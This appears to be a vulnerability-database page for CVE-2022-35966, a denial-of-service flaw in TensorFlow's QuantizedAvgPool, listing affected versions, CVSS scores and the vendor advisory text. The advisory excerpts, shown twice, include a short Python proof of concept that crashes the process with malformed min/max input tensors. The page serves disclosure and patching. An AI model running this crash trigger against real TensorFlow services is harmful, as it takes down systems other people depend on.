CVE-2022-35966
published 2022-09-16CVE-2022-35966: TensorFlow is an open source platform for machine learning. If `QuantizedAvgPool` is given `min_input` or `max_input` tensors of a nonzero rank, it results in…
PriorityP336high7.5CVSS 3.1
AVNACLPRNUINSUCNINAH
EPSS
0.42%
34.4th percentile
TensorFlow is an open source platform for machine learning. If `QuantizedAvgPool` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 7cdf9d4d2083b739ec81cfdace546b0c99f50622. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.
Affected
11 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | tensorflow | — | — |
| tensorflow | — | — | |
| tensorflow | >= 2.7.0 < 2.7.2 | 2.7.2 | |
| tensorflow | >= 2.8.0 < 2.8.1 | 2.8.1 | |
| tensorflow | >= 2.9.0 < 2.9.1 | 2.9.1 | |
| intel | optimization_for_tensorflow | >= 0 < 2.7.2 | 2.7.2 |
| intel | optimization_for_tensorflow | >= 2.8.0 < 2.8.1 | 2.8.1 |
| intel | optimization_for_tensorflow | >= 2.9.0 < 2.9.1 | 2.9.1 |
| tensorflow | tensorflow | < 2.7.2 | 2.7.2 |
| tensorflow | tensorflow | — | — |
| tensorflow | tensorflow | — | — |
CVSS provenance
nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vendor_debian5.9LOW
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Debian
CVE-2022-35966: tensorflow - TensorFlow is an open source platform for machine learning. If `QuantizedAvgPool...
vendor_debian·2022·CVSS 5.9
CVE-2022-35966 [MEDIUM] CVE-2022-35966: tensorflow - TensorFlow is an open source platform for machine learning. If `QuantizedAvgPool...
TensorFlow is an open source platform for machine learning. If `QuantizedAvgPool` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 7cdf9d4d2083b739ec81cfdace546b0c99f50622. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.
Scope: local
forky: resolved
sid: resolved
OSV
TensorFlow vulnerable to segfault in `QuantizedAvgPool`
osv·2022-09-16
CVE-2022-35966 [MEDIUM] TensorFlow vulnerable to segfault in `QuantizedAvgPool`
TensorFlow vulnerable to segfault in `QuantizedAvgPool`
### Impact
If `QuantizedAvgPool` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
ksize = [1, 2, 2, 1]
strides = [1, 2, 2, 1]
padding = "SAME"
input = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8)
min_input = tf.constant([], shape=[0], dtype=tf.float32)
max_input = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding)
```
### Patches
We have patched the issue in GitHub commit [7cdf9d4d2083b739ec81cfdace546b0c99f50622](https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec8
GHSA
TensorFlow vulnerable to segfault in `QuantizedAvgPool`
ghsa·2022-09-16
CVE-2022-35966 [MEDIUM] CWE-20 TensorFlow vulnerable to segfault in `QuantizedAvgPool`
TensorFlow vulnerable to segfault in `QuantizedAvgPool`
### Impact
If `QuantizedAvgPool` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
ksize = [1, 2, 2, 1]
strides = [1, 2, 2, 1]
padding = "SAME"
input = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8)
min_input = tf.constant([], shape=[0], dtype=tf.float32)
max_input = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding)
```
### Patches
We have patched the issue in GitHub commit [7cdf9d4d2083b739ec81cfdace546b0c99f50622](https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec8
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec81cfdace546b0c99f50622https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4w68-4x85-mjj9https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec81cfdace546b0c99f50622https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4w68-4x85-mjj9
2022-09-16
Published